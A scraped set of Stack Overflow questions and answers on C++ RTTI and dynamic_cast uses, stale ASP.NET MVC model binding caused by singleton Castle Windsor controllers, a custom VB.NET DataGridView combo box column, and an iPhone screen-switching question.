<a href=\"http://en.wikipedia.org/wiki/Diamond_problem\" rel=\"nofollow noreferrer\">diamond shaped hierarchy</a> (image from Wikipedia).</p>\n\n<p><img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/8/8e/Diamond_inheritance.svg/180px-Diamond_inheritance.svg.png\" alt=\"diamond inheritance\"></p>\n\n<pre><code>struct top {\n};\n\nstruct left : top { \n int i;\n left() : i(42) {}\n};\n\nstruct right : top {\n std::string name;\n right() : name(\"plonk\") { }\n};\n\nstruct bottom : left, right {\n};\n\nbottom b;\nleft* p = &amp;b;\n\n//right* r = static_cast&lt;right*&gt;(p); // Compilation error!\n//right* r = (right*)p; // Gives bad pointer silently \nright* r = dynamic_cast&lt;right*&gt;(p); // OK\n</code></pre>\n" }, { "answer_id": 3277561, "author": "Albert", "author_id": 133374, "author_profile": "https://Stackoverflow.com/users/133374", "pm_score": 1, "selected": false, "text": "<p>Use cases I have in my projects (if you know any better solution for specific cases, please comment):</p>\n<ol>\n<li><p>The same thing as 1800 INFORMATION has already mentioned:</p>\n<p>You'll need a <code>dynamic_cast</code> for the <code>operator==</code> or <code>operator&lt;</code> implementation for derived classes. Or at least I don't know any other way.</p>\n</li>\n<li><p>If you want to implement something like <code>boost::any</code> or some other variant container.</p>\n</li>\n<li><p>In one game in a <code>Client</code> class which had a <code>std::set&lt;Player*&gt;</code> (possible instances are <code>NetPlayer</code> and <code>LocalPlayer</code>) (which could have at most one <code>LocalPlayer</code>), I needed a function <code>LocalPlayer* Client::localPlayer()</code>. This function is very rarely used so I wanted to avoid to clutter <code>Client</code> with an additional local member variable and all the additional code to handle this.</p>\n</li>\n<li><p>I have some <code>Variable</code> abstract class with several implementations. All registered <code>Variable</code>s are in some <code>std::set&lt;Variable*&gt; vars</code>. And there are several builtin vars of the type <code>BuiltinVar</code> which are saved in a <code>std::vector&lt;BuiltinVar&gt; builtins</code>. In some cases, I have a <code>Variable*</code> and need to check if it is a <code>BuiltinVar*</code> and inside <code>builtins</code>. I could either do this via some memory-range check or via <code>dynamic_cast</code> (I can be sure in any case that all instances of <code>BuiltinVar</code> are in this vector).</p>\n</li>\n<li><p>I have a gridded collection of <code>GameObject</code>s and I need to check if there is a <code>Player</code> object (a specialized <code>GameObject</code>) inside one grid. I could have a function <code>bool GameObject::isPlayer()</code> which always returns false except for <code>Player</code> or I could use RTTI. There are many more examples like this where people often are implementing functions like <code>Object::isOfTypeXY()</code> and the base class gets very cluttered because of this.</p>\n<p>This is also sometimes the case for other very special functions like <code>Object::checkScore_doThisActionOnlyIfIAmAPlayer()</code>. There is some common sense needed to decide when it actually make sense to have such a function in the base class and when not.</p>\n</li>\n<li><p>Sometimes I use it for assertions or runtime security checks.</p>\n</li>\n<li><p>Sometimes I need to store a pointer of some data in some data field of some C library (for example SDL or what not) and I get it somewhere else later on or as a callback. I do a <code>dynamic_cast</code> here just to be sure I get what I expect.</p>\n</li>\n<li><p>I have some <code>TaskManager</code> class which executes some queue of <code>Task</code>s. For some <code>Task</code>s, when I am adding them to the list, I want to delete other <code>Task</code>s of the same type from the queue.</p>\n</li>\n</ol>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238452", "https://Stackoverflow.com", "https://Stackoverflow.com/users/14089/" ]
I am familiar with C++ RTTI, and find the concept interesting. Still there exist a lot of more ways to abuse it than to use it correctly (the RTTI-switch dread comes to mind). As a developer, I found (and used) only two viable uses for it (more exactly, one and a half). **Could you share some of the ways RTTI is a viable solution to a problem, with example code/pseudo-code included?** Note: The aim is to have a repository of viable examples a junior developer can consult, criticize and learn from. **Edit:** You'll find below code using C++ RTTI ``` // A has a virtual destructor (i.e. is polymorphic) // B has a virtual destructor (i.e. is polymorphic) // B does (or does not ... pick your poison) inherits from A void doSomething(A * a) { // typeid()::name() returns the "name" of the object (not portable) std::cout << "a is [" << typeid(*a).name() << "]"<< std::endl ; // the dynamic_cast of a pointer to another will return NULL is // the conversion is not possible if(B * b = dynamic_cast<B *>(a)) { std::cout << "a is b" << std::endl ; } else { std::cout << "a is NOT b" << std::endl ; } } ```
[Acyclic Visitor](http://www.objectmentor.com/resources/articles/acv.pdf) (pdf) is a great use of it.
238,460
<p>When I use the default model binding to bind form parameters to a complex object which is a parameter to an action, the framework remembers the values passed to the first request, meaning that any subsequent request to that action gets the same data as the first. The parameter values and validation state are persisted between unrelated web requests.</p> <p>Here is my controller code (<code>service</code> represents access to the back end of the app):</p> <pre><code> [AcceptVerbs(HttpVerbs.Get)] public ActionResult Create() { return View(RunTime.Default); } [AcceptVerbs(HttpVerbs.Post)] public ActionResult Create(RunTime newRunTime) { if (ModelState.IsValid) { service.CreateNewRun(newRunTime); TempData["Message"] = "New run created"; return RedirectToAction("index"); } return View(newRunTime); } </code></pre> <p>My .aspx view (strongly typed as <code>ViewPage&lt;RunTime</code>>) contains directives like: </p> <pre><code>&lt;%= Html.TextBox("newRunTime.Time", ViewData.Model.Time) %&gt; </code></pre> <p>This uses the <code>DefaultModelBinder</code> class, which is <a href="http://weblogs.asp.net/scottgu/archive/2008/10/16/asp-net-mvc-beta-released.aspx#three" rel="nofollow noreferrer">meant to autobind my model's properties</a>.</p> <p>I hit the page, enter valid data (e.g. time = 1). The app correctly saves the new object with time = 1. I then hit it again, enter different valid data (e.g. time = 2). However the data that gets saved is the original (e.g. time = 1). This also affects validation, so if my original data was invalid, then all data I enter in the future is considered invalid. Restarting IIS or rebuilding my code flushes the persisted state.</p> <p>I can fix the problem by writing my own hard-coded model binder, a basic naive example of which is shown below. </p> <pre><code> [AcceptVerbs(HttpVerbs.Post)] public ActionResult Create([ModelBinder(typeof (RunTimeBinder))] RunTime newRunTime) { if (ModelState.IsValid) { service.CreateNewRun(newRunTime); TempData["Message"] = "New run created"; return RedirectToAction("index"); } return View(newRunTime); } internal class RunTimeBinder : DefaultModelBinder { public override ModelBinderResult BindModel(ModelBindingContext bindingContext) { // Without this line, failed validation state persists between requests bindingContext.ModelState.Clear(); double time = 0; try { time = Convert.ToDouble(bindingContext.HttpContext.Request[bindingContext.ModelName + ".Time"]); } catch (FormatException) { bindingContext.ModelState.AddModelError(bindingContext.ModelName + ".Time", bindingContext.HttpContext.Request[bindingContext.ModelName + ".Time"] + "is not a valid number"); } var model = new RunTime(time); return new ModelBinderResult(model); } } </code></pre> <p>Am I missing something? I don't think it's a browser session problem as I can reproduce the problem if the first data is entered in one browser and the second in another.</p>
[ { "answer_id": 240829, "author": "Eilon", "author_id": 31668, "author_profile": "https://Stackoverflow.com/users/31668", "pm_score": 2, "selected": false, "text": "<p>I tried to reproduce this problem but I'm not seeing that same behavior. I created almost exactly the same controller and views that you have (with some assumptions) and every time I created a new \"RunTime\" I put its value in TempData and sent it off through the Redirect. Then on the target page I grabbed the value and it was always the value I typed in on that request - never a stale value.</p>\n\n<p>Here's my Controller:</p>\n\n<p>public class HomeController : Controller {\n public ActionResult Index() {\n ViewData[\"Title\"] = \"Home Page\";\n string message = \"Welcome: \" + TempData[\"Message\"];\n if (TempData.ContainsKey(\"value\")) {\n int theValue = (int)TempData[\"value\"];\n message += \" \" + theValue.ToString();\n }\n ViewData[\"Message\"] = message;\n return View();\n }</p>\n\n<pre><code>[AcceptVerbs(HttpVerbs.Get)]\npublic ActionResult Create() {\n return View(RunTime.Default);\n}\n\n[AcceptVerbs(HttpVerbs.Post)]\npublic ActionResult Create(RunTime newRunTime) {\n if (ModelState.IsValid) {\n //service.CreateNewRun(newRunTime);\n TempData[\"Message\"] = \"New run created\";\n TempData[\"value\"] = newRunTime.TheValue;\n return RedirectToAction(\"index\");\n }\n return View(newRunTime);\n}\n</code></pre>\n\n<p>}</p>\n\n<p>And here's my View (Create.aspx):</p>\n\n<pre><code>&lt;% using (Html.BeginForm()) { %&gt;\n&lt;%= Html.TextBox(\"newRunTime.TheValue\", ViewData.Model.TheValue) %&gt;\n&lt;input type=\"submit\" value=\"Save\" /&gt;\n&lt;% } %&gt;\n</code></pre>\n\n<p>Also, I wasn't sure what the \"RunTime\" type looked like, so I made this one:</p>\n\n<pre><code> public class RunTime {\n public static readonly RunTime Default = new RunTime(-1);\n\n public RunTime() {\n }\n\n public RunTime(int theValue) {\n TheValue = theValue;\n }\n\n public int TheValue {\n get;\n set;\n }\n }\n</code></pre>\n\n<p>Is it possible that your implementation of RunTime includes some static values or something?</p>\n\n<p>Thanks,</p>\n\n<p>Eilon</p>\n" }, { "answer_id": 240857, "author": "Ben Scheirman", "author_id": 3381, "author_profile": "https://Stackoverflow.com/users/3381", "pm_score": 2, "selected": false, "text": "<p>I'm not sure if this is related or not, but your call to \n&lt;%= Html.TextBox(\"newRunTime.Time\", ViewData.Model.Time) %>\nmight actually pick the wrong overload (since Time is an integer, it will pick the <code>object htmlAttributes</code> overload, rather than <code>string value</code>.</p>\n\n<p>Checking the rendered HTML will let you know if this is occurring. changing int to <code>ViewData.Model.Time.ToString()</code> will force the correct overload.</p>\n\n<p>It sounds like your issue is something different, but I noticed that and have been burned in the past.</p>\n" }, { "answer_id": 241258, "author": "Alex Scordellis", "author_id": 12006, "author_profile": "https://Stackoverflow.com/users/12006", "pm_score": 4, "selected": true, "text": "<p>It turns out that the problem was that my controllers were being reused between calls. One of the details I chose to omit from my original post is that I am using the Castle.Windsor container to create my controllers. I had failed to mark my controller with the Transient lifestyle, so I was getting the same instance back on each request. Thus the context being used by the binder was being re-used and of course it contained stale data. </p>\n\n<p>I discovered the problem while carefully analysing the difference between Eilon's code and mine, eliminating all other possibilities. As the <a href=\"http://www.castleproject.org/monorail/documentation/trunk/integration/windsor.html\" rel=\"noreferrer\">Castle documentation says</a>, this is a \"terrible mistake\"! Let this be a warning to others!</p>\n\n<p>Thanks for your response Eilon - sorry to take up your time.</p>\n" }, { "answer_id": 256821, "author": "Alex Scordellis", "author_id": 12006, "author_profile": "https://Stackoverflow.com/users/12006", "pm_score": 0, "selected": false, "text": "<p>Seb, I'm not sure what you mean by an example. I don't know anything about Unity configuration. I'll explain the situation with Castle.Windsor and maybe that will help you with to configure Unity correctly. </p>\n\n<p>By default, Castle.Windsor returns the same object each time you request a given type. This is the singleton lifestyle. There's a good explanation of the various lifestyle options in the <a href=\"http://www.castleproject.org/container/documentation/trunk/usersguide/lifestyles.html\" rel=\"nofollow noreferrer\">Castle.Windsor documentation</a>. </p>\n\n<p>In ASP.NET MVC, each instance of a controller class is bound to the context of the web request that it was created to serve. So if your IoC container returns the same instance of your controller class each time, you'll always get a controller bound to the context of the first web request that used that controller class. In particular, the <code>ModelState</code> and other objects used by the <code>DefaultModelBinder</code> will be reused, so your bound model object and the validation messages in the <code>ModelState</code> will be stale.</p>\n\n<p>Therefore you need your IoC to return a new instance each time MVC requests an instance of your controller class.</p>\n\n<p>In Castle.Windsor, this is called the transient lifestyle. To configure it, you have two options:</p>\n\n<ol>\n<li>XML configuration: you add lifestlye=\"transient\" to each element in your configuration file that represents a controller. </li>\n<li>In-code configuration: you can tell the container to use the transient lifestyle at the time you register the controller. This is what the MvcContrib helper that Ben mentioned does automatically for you - take a look at the method RegisterControllers in the <a href=\"http://code.google.com/p/mvccontrib/source/browse/trunk/src/MvcContrib.Castle/WindsorExtensions.cs\" rel=\"nofollow noreferrer\">MvcContrib source code</a>.</li>\n</ol>\n\n<p>I would imagine that Unity offers a similiar concept to the lifestyle in Castle.Windsor, so you'll need to configure Unity to use its equivalent of the transient lifestyle for your controllers.\nMvcContrib appears to have some <a href=\"http://code.google.com/p/mvccontrib/source/browse/trunk/src/?r=510#src/MvcContrib.Unity\" rel=\"nofollow noreferrer\">Unity support</a> - maybe you could look there. </p>\n\n<p>Hope this helps.</p>\n" }, { "answer_id": 258188, "author": "Jason", "author_id": 7391, "author_profile": "https://Stackoverflow.com/users/7391", "pm_score": 0, "selected": false, "text": "<p>Having come across similar problems when attempting to use the Windsor IoC container in an ASP.NET MVC app I had to go through the same voyage of discovery to get it working. Here are some of the details that might help someone else.</p>\n\n<p>Using this is the initial setup in the Global.asax:</p>\n\n<pre><code> if (_container == null) \n {\n _container = new WindsorContainer(\"config/castle.config\");\n ControllerBuilder.Current.SetControllerFactory(new WindsorControllerFactory(Container)); \n }\n</code></pre>\n\n<p>And using a WindsorControllerFactory which when asked for a controller instance does:</p>\n\n<pre><code> return (IController)_container.Resolve(controllerType);\n</code></pre>\n\n<p>Whilst Windsor was correctly linking up all of the controllers, for some reason parameters were not being passed from the form to the relevant controller action. Instead they were all null, though it was calling the correct action.</p>\n\n<p>The default is for the container to pass back singletons, obviously a bad thing for controllers and the cause of the problem:</p>\n\n<p><a href=\"http://www.castleproject.org/monorail/documentation/trunk/integration/windsor.html\" rel=\"nofollow noreferrer\">http://www.castleproject.org/monorail/documentation/trunk/integration/windsor.html</a></p>\n\n<p>However the documentation does point out that the lifestyle of the controllers can be changed to transient, though it doesn't actually tell you how to do that if you are using a configuration file. Turns out it's easy enough:</p>\n\n<pre><code>&lt;component \n id=\"home.controller\" \n type=\"DoYourStuff.Controllers.HomeController, DoYourStuff\" \n lifestyle=\"transient\" /&gt;\n</code></pre>\n\n<p>And without any code changes it should now work as expected (i.e. unique controllers every time provided by the one instance of the container). You can then do all of your IoC configuration in the config file rather than the code like the good boy/girl that I know you are.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238460", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12006/" ]
When I use the default model binding to bind form parameters to a complex object which is a parameter to an action, the framework remembers the values passed to the first request, meaning that any subsequent request to that action gets the same data as the first. The parameter values and validation state are persisted between unrelated web requests. Here is my controller code (`service` represents access to the back end of the app): ``` [AcceptVerbs(HttpVerbs.Get)] public ActionResult Create() { return View(RunTime.Default); } [AcceptVerbs(HttpVerbs.Post)] public ActionResult Create(RunTime newRunTime) { if (ModelState.IsValid) { service.CreateNewRun(newRunTime); TempData["Message"] = "New run created"; return RedirectToAction("index"); } return View(newRunTime); } ``` My .aspx view (strongly typed as `ViewPage<RunTime`>) contains directives like: ``` <%= Html.TextBox("newRunTime.Time", ViewData.Model.Time) %> ``` This uses the `DefaultModelBinder` class, which is [meant to autobind my model's properties](http://weblogs.asp.net/scottgu/archive/2008/10/16/asp-net-mvc-beta-released.aspx#three). I hit the page, enter valid data (e.g. time = 1). The app correctly saves the new object with time = 1. I then hit it again, enter different valid data (e.g. time = 2). However the data that gets saved is the original (e.g. time = 1). This also affects validation, so if my original data was invalid, then all data I enter in the future is considered invalid. Restarting IIS or rebuilding my code flushes the persisted state. I can fix the problem by writing my own hard-coded model binder, a basic naive example of which is shown below. ``` [AcceptVerbs(HttpVerbs.Post)] public ActionResult Create([ModelBinder(typeof (RunTimeBinder))] RunTime newRunTime) { if (ModelState.IsValid) { service.CreateNewRun(newRunTime); TempData["Message"] = "New run created"; return RedirectToAction("index"); } return View(newRunTime); } internal class RunTimeBinder : DefaultModelBinder { public override ModelBinderResult BindModel(ModelBindingContext bindingContext) { // Without this line, failed validation state persists between requests bindingContext.ModelState.Clear(); double time = 0; try { time = Convert.ToDouble(bindingContext.HttpContext.Request[bindingContext.ModelName + ".Time"]); } catch (FormatException) { bindingContext.ModelState.AddModelError(bindingContext.ModelName + ".Time", bindingContext.HttpContext.Request[bindingContext.ModelName + ".Time"] + "is not a valid number"); } var model = new RunTime(time); return new ModelBinderResult(model); } } ``` Am I missing something? I don't think it's a browser session problem as I can reproduce the problem if the first data is entered in one browser and the second in another.
It turns out that the problem was that my controllers were being reused between calls. One of the details I chose to omit from my original post is that I am using the Castle.Windsor container to create my controllers. I had failed to mark my controller with the Transient lifestyle, so I was getting the same instance back on each request. Thus the context being used by the binder was being re-used and of course it contained stale data. I discovered the problem while carefully analysing the difference between Eilon's code and mine, eliminating all other possibilities. As the [Castle documentation says](http://www.castleproject.org/monorail/documentation/trunk/integration/windsor.html), this is a "terrible mistake"! Let this be a warning to others! Thanks for your response Eilon - sorry to take up your time.
238,466
<p>How do you access the items collection of a combo box in a specific row in a DataGridView?</p> <p>I'm populating the combo as follows:</p> <pre><code> Dim VATCombo As New DataGridViewComboBoxColumn With VATCombo .HeaderText = "VAT Rate" .Name = .HeaderText Dim VATCol As New JCVATRateCollection VATCol.LoadAll(EntitySpaces.Interfaces.esSqlAccessType.StoredProcedure) For Each Rate As JCVATRate In VATCol .Items.Add(Rate.str.VATRate) Next .Sorted = True VATCol = Nothing .ToolTipText = "Select VAT Rate" .AutoSizeMode = DataGridViewAutoSizeColumnMode.DisplayedCells .CellTemplate.Style.BackColor = Color.Honeydew .DisplayIndex = 8 .AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill End With .Columns.Add(VATCombo) VATCombo = Nothing </code></pre> <p>I want to be able to set a default value for each new line added to the grid, I also want to be able to change the values in the combo based on other business logic. I realise I can just set the cell value directly but I want to avoid hard-coding the values into the system and rely on the database to populate.</p> <p>I'm sure it must be straight-forward but it's eluding me.....</p>
[ { "answer_id": 240458, "author": "thismat", "author_id": 14045, "author_profile": "https://Stackoverflow.com/users/14045", "pm_score": 0, "selected": false, "text": "<p>Could you not directly cast the control within the cell using the row index to access the current row?</p>\n" }, { "answer_id": 255989, "author": "CestLaGalere", "author_id": 6684, "author_profile": "https://Stackoverflow.com/users/6684", "pm_score": 2, "selected": true, "text": "<p>The problem with the basic combobox in EditGridView is that all rows share the same combobox, so you cannot change it.</p>\n\n<p>You to create a new class (ComboEditingControl) inherited from the ComboBox and implementing IDataGridViewEditingControl:</p>\n\n<p>(e.g. customdropdown.vb:)</p>\n\n<pre><code>Imports System.Collections.Generic\nImports System.Drawing\nImports System.Windows.Forms\n\nFriend Class ComboEditingControl\nInherits ComboBox\nImplements IDataGridViewEditingControl\n\nPrivate dataGridViewControl As DataGridView\nPrivate valueIsChanged As Boolean = False\nPrivate rowIndexNum As Integer\nPrivate ItemSelected As String\n\nPublic Sub New()\n Me.DropDownStyle = ComboBoxStyle.DropDownList\nEnd Sub\n\n\nPublic Property EditingControlFormattedValue() As Object _\n Implements IDataGridViewEditingControl.EditingControlFormattedValue\n\n Get\n Return ItemSelected\n End Get\n\n Set(ByVal value As Object)\n If TypeOf value Is Decimal Then\n Me.SelectedItem = value.ToString()\n End If\n End Set\nEnd Property\n\n\nPublic Function GetEditingControlFormattedValue(ByVal context As DataGridViewDataErrorContexts) As Object _\n Implements IDataGridViewEditingControl.GetEditingControlFormattedValue\n Return ItemSelected\nEnd Function\n\nPublic ReadOnly Property EditingControlCursor() As Cursor _\n Implements IDataGridViewEditingControl.EditingPanelCursor\n Get\n Return MyBase.Cursor\n End Get\nEnd Property\n\nPublic Sub ApplyCellStyleToEditingControl(ByVal dataGridViewCellStyle As DataGridViewCellStyle) _\n Implements IDataGridViewEditingControl.ApplyCellStyleToEditingControl\n\n Me.Font = dataGridViewCellStyle.Font\n Me.ForeColor = dataGridViewCellStyle.ForeColor\n Me.BackColor = dataGridViewCellStyle.BackColor\n\nEnd Sub\n\nPublic Property EditingControlRowIndex() As Integer _\n Implements IDataGridViewEditingControl.EditingControlRowIndex\n\n Get\n Return rowIndexNum\n End Get\n Set(ByVal value As Integer)\n rowIndexNum = value\n End Set\n\nEnd Property\n\nPublic Function EditingControlWantsInputKey(ByVal key As Keys, ByVal dataGridViewWantsInputKey As Boolean) As Boolean _\n Implements IDataGridViewEditingControl.EditingControlWantsInputKey\n\n ' Let the DateTimePicker handle the keys listed.\n Select Case key And Keys.KeyCode\n Case Keys.Up, Keys.Down, Keys.Home, Keys.End, Keys.PageDown, Keys.PageUp\n Return True\n Case Else\n Return False\n End Select\nEnd Function\n\nPublic Sub PrepareEditingControlForEdit(ByVal selectAll As Boolean) _\n Implements IDataGridViewEditingControl.PrepareEditingControlForEdit\n ' No preparation needs to be done.\nEnd Sub\n\nPublic ReadOnly Property RepositionEditingControlOnValueChange() As Boolean Implements _\n IDataGridViewEditingControl.RepositionEditingControlOnValueChange\n Get\n Return False\n End Get\nEnd Property\n\nPublic Property EditingControlDataGridView() As DataGridView _\n Implements IDataGridViewEditingControl.EditingControlDataGridView\n\n Get\n Return dataGridViewControl\n End Get\n Set(ByVal value As DataGridView)\n dataGridViewControl = value\n End Set\n\nEnd Property\n\nPublic Property EditingControlValueChanged() As Boolean _\n Implements IDataGridViewEditingControl.EditingControlValueChanged\n\n Get\n Return valueIsChanged\n End Get\n Set(ByVal value As Boolean)\n valueIsChanged = value\n End Set\nEnd Property\n\n\n''' &lt;summary&gt;\n''' Notify the DataGridView that the contents of the cell have changed.\n''' &lt;/summary&gt;\n''' &lt;param name=\"eventargs\"&gt;&lt;/param&gt;\n''' &lt;remarks&gt;&lt;/remarks&gt;\nProtected Overrides Sub OnSelectedIndexChanged(ByVal eventargs As EventArgs)\n valueIsChanged = True\n dataGridViewControl.NotifyCurrentCellDirty(True)\n MyBase.OnSelectedItemChanged(eventargs)\n ItemSelected = SelectedItem.ToString()\nEnd Sub\nEnd Class\n</code></pre>\n\n<hr>\n\n<p>2 more classes, note in the InitializeEditingControl you need to build the items for the specific rows that you are on</p>\n\n<pre><code>Friend Class ComboColumn\n Inherits DataGridViewColumn\n\n Public Sub New()\n MyBase.New(New ComboCell())\n End Sub\n\n Public Overrides Property CellTemplate() As DataGridViewCell\n Get\n Return MyBase.CellTemplate\n End Get\n Set(ByVal value As DataGridViewCell)\n ' Ensure that the cell used for the template is a ComboCell.\n If Not (value Is Nothing) AndAlso Not value.GetType().IsAssignableFrom(GetType(ComboCell)) Then\n Throw New InvalidCastException(\"Must be a ComboCell\")\n End If\n MyBase.CellTemplate = value\n End Set\n End Property\nEnd Class\n\nFriend Class ComboCell\n Inherits DataGridViewTextBoxCell\n\n Public Sub New()\n End Sub\n\n Public Overrides Sub InitializeEditingControl(ByVal rowIndex As Integer, ByVal initialFormattedValue As Object, ByVal dataGridViewCellStyle As DataGridViewCellStyle)\n ' Set the value of the editing control to the current cell value.\n MyBase.InitializeEditingControl(rowIndex, initialFormattedValue, dataGridViewCellStyle)\n\n Dim ctl As ComboEditingControl = CType(DataGridView.EditingControl, ComboEditingControl)\n\n Dim GetValueFromRowToUseForBuildingCombo As String = Me.DataGridView.Rows(rowIndex).Cells(0).Value.ToString()\n\n ctl.Items.Clear()\n For Each thing As String In ACollection\n ctl.Items.Add(Sheet)\n Next\n\n\n If Me.Value Is Nothing Then\n ctl.SelectedIndex = -1\n Else\n ctl.SelectedItem = Me.Value\n End If\n End Sub\n\n Public Overrides ReadOnly Property EditType() As Type\n Get\n Return GetType(ComboEditingControl)\n End Get\n End Property\n\n Public Overrides ReadOnly Property ValueType() As Type\n Get\n Return GetType(String)\n End Get\n End Property\n\n Public Overrides ReadOnly Property FormattedValueType() As System.Type\n Get\n Return GetType(String)\n End Get\n End Property\n\n Public Overrides ReadOnly Property DefaultNewRowValue() As Object\n Get\n Return \"\"\n End Get\n End Property\nEnd Class\n</code></pre>\n\n<p>finally in the OnLoad code of your form, programatically add the control to the Grid:</p>\n\n<pre><code>Dim c As New ComboColumn\nc.HeaderText = \"Sheet\"\nc.DataPropertyName = \"My Combo\"\nc.ToolTipText = \"Select something from my combo\"\nMyDataGridView.Columns.Add(c)\n</code></pre>\n\n<p>To Get &amp; Set just use the <code>ThisRow.Cells(ComboCol).Value</code> </p>\n\n<p>The first field is generic, the other inherit and have the custom code for each DataGridView that you need</p>\n\n<p>HTH</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238466", "https://Stackoverflow.com", "https://Stackoverflow.com/users/20048/" ]
How do you access the items collection of a combo box in a specific row in a DataGridView? I'm populating the combo as follows: ``` Dim VATCombo As New DataGridViewComboBoxColumn With VATCombo .HeaderText = "VAT Rate" .Name = .HeaderText Dim VATCol As New JCVATRateCollection VATCol.LoadAll(EntitySpaces.Interfaces.esSqlAccessType.StoredProcedure) For Each Rate As JCVATRate In VATCol .Items.Add(Rate.str.VATRate) Next .Sorted = True VATCol = Nothing .ToolTipText = "Select VAT Rate" .AutoSizeMode = DataGridViewAutoSizeColumnMode.DisplayedCells .CellTemplate.Style.BackColor = Color.Honeydew .DisplayIndex = 8 .AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill End With .Columns.Add(VATCombo) VATCombo = Nothing ``` I want to be able to set a default value for each new line added to the grid, I also want to be able to change the values in the combo based on other business logic. I realise I can just set the cell value directly but I want to avoid hard-coding the values into the system and rely on the database to populate. I'm sure it must be straight-forward but it's eluding me.....
The problem with the basic combobox in EditGridView is that all rows share the same combobox, so you cannot change it. You to create a new class (ComboEditingControl) inherited from the ComboBox and implementing IDataGridViewEditingControl: (e.g. customdropdown.vb:) ``` Imports System.Collections.Generic Imports System.Drawing Imports System.Windows.Forms Friend Class ComboEditingControl Inherits ComboBox Implements IDataGridViewEditingControl Private dataGridViewControl As DataGridView Private valueIsChanged As Boolean = False Private rowIndexNum As Integer Private ItemSelected As String Public Sub New() Me.DropDownStyle = ComboBoxStyle.DropDownList End Sub Public Property EditingControlFormattedValue() As Object _ Implements IDataGridViewEditingControl.EditingControlFormattedValue Get Return ItemSelected End Get Set(ByVal value As Object) If TypeOf value Is Decimal Then Me.SelectedItem = value.ToString() End If End Set End Property Public Function GetEditingControlFormattedValue(ByVal context As DataGridViewDataErrorContexts) As Object _ Implements IDataGridViewEditingControl.GetEditingControlFormattedValue Return ItemSelected End Function Public ReadOnly Property EditingControlCursor() As Cursor _ Implements IDataGridViewEditingControl.EditingPanelCursor Get Return MyBase.Cursor End Get End Property Public Sub ApplyCellStyleToEditingControl(ByVal dataGridViewCellStyle As DataGridViewCellStyle) _ Implements IDataGridViewEditingControl.ApplyCellStyleToEditingControl Me.Font = dataGridViewCellStyle.Font Me.ForeColor = dataGridViewCellStyle.ForeColor Me.BackColor = dataGridViewCellStyle.BackColor End Sub Public Property EditingControlRowIndex() As Integer _ Implements IDataGridViewEditingControl.EditingControlRowIndex Get Return rowIndexNum End Get Set(ByVal value As Integer) rowIndexNum = value End Set End Property Public Function EditingControlWantsInputKey(ByVal key As Keys, ByVal dataGridViewWantsInputKey As Boolean) As Boolean _ Implements IDataGridViewEditingControl.EditingControlWantsInputKey ' Let the DateTimePicker handle the keys listed. Select Case key And Keys.KeyCode Case Keys.Up, Keys.Down, Keys.Home, Keys.End, Keys.PageDown, Keys.PageUp Return True Case Else Return False End Select End Function Public Sub PrepareEditingControlForEdit(ByVal selectAll As Boolean) _ Implements IDataGridViewEditingControl.PrepareEditingControlForEdit ' No preparation needs to be done. End Sub Public ReadOnly Property RepositionEditingControlOnValueChange() As Boolean Implements _ IDataGridViewEditingControl.RepositionEditingControlOnValueChange Get Return False End Get End Property Public Property EditingControlDataGridView() As DataGridView _ Implements IDataGridViewEditingControl.EditingControlDataGridView Get Return dataGridViewControl End Get Set(ByVal value As DataGridView) dataGridViewControl = value End Set End Property Public Property EditingControlValueChanged() As Boolean _ Implements IDataGridViewEditingControl.EditingControlValueChanged Get Return valueIsChanged End Get Set(ByVal value As Boolean) valueIsChanged = value End Set End Property ''' <summary> ''' Notify the DataGridView that the contents of the cell have changed. ''' </summary> ''' <param name="eventargs"></param> ''' <remarks></remarks> Protected Overrides Sub OnSelectedIndexChanged(ByVal eventargs As EventArgs) valueIsChanged = True dataGridViewControl.NotifyCurrentCellDirty(True) MyBase.OnSelectedItemChanged(eventargs) ItemSelected = SelectedItem.ToString() End Sub End Class ``` --- 2 more classes, note in the InitializeEditingControl you need to build the items for the specific rows that you are on ``` Friend Class ComboColumn Inherits DataGridViewColumn Public Sub New() MyBase.New(New ComboCell()) End Sub Public Overrides Property CellTemplate() As DataGridViewCell Get Return MyBase.CellTemplate End Get Set(ByVal value As DataGridViewCell) ' Ensure that the cell used for the template is a ComboCell. If Not (value Is Nothing) AndAlso Not value.GetType().IsAssignableFrom(GetType(ComboCell)) Then Throw New InvalidCastException("Must be a ComboCell") End If MyBase.CellTemplate = value End Set End Property End Class Friend Class ComboCell Inherits DataGridViewTextBoxCell Public Sub New() End Sub Public Overrides Sub InitializeEditingControl(ByVal rowIndex As Integer, ByVal initialFormattedValue As Object, ByVal dataGridViewCellStyle As DataGridViewCellStyle) ' Set the value of the editing control to the current cell value. MyBase.InitializeEditingControl(rowIndex, initialFormattedValue, dataGridViewCellStyle) Dim ctl As ComboEditingControl = CType(DataGridView.EditingControl, ComboEditingControl) Dim GetValueFromRowToUseForBuildingCombo As String = Me.DataGridView.Rows(rowIndex).Cells(0).Value.ToString() ctl.Items.Clear() For Each thing As String In ACollection ctl.Items.Add(Sheet) Next If Me.Value Is Nothing Then ctl.SelectedIndex = -1 Else ctl.SelectedItem = Me.Value End If End Sub Public Overrides ReadOnly Property EditType() As Type Get Return GetType(ComboEditingControl) End Get End Property Public Overrides ReadOnly Property ValueType() As Type Get Return GetType(String) End Get End Property Public Overrides ReadOnly Property FormattedValueType() As System.Type Get Return GetType(String) End Get End Property Public Overrides ReadOnly Property DefaultNewRowValue() As Object Get Return "" End Get End Property End Class ``` finally in the OnLoad code of your form, programatically add the control to the Grid: ``` Dim c As New ComboColumn c.HeaderText = "Sheet" c.DataPropertyName = "My Combo" c.ToolTipText = "Select something from my combo" MyDataGridView.Columns.Add(c) ``` To Get & Set just use the `ThisRow.Cells(ComboCol).Value` The first field is generic, the other inherit and have the custom code for each DataGridView that you need HTH
238,473
<p>I want to make a really simple iphone app: one screen with a single button... when the button is tapped a new screen appears. That's it. No animations, nothing,</p> <p>I've tried endlessly to make the NavBar sample project do this... and it works but only if I use a UINavigationController with a table that I can tap etc. I've tried all the skeleton projects in XCode too.</p> <p>I thought I was done when I did this:</p> <pre><code>[[self navigationController] presentModalViewController:myViewController animated:YES]; </code></pre> <p>But I couldn't do it without the UINavigationController. I just want a simple example.</p> <p>Thanks so much!</p>
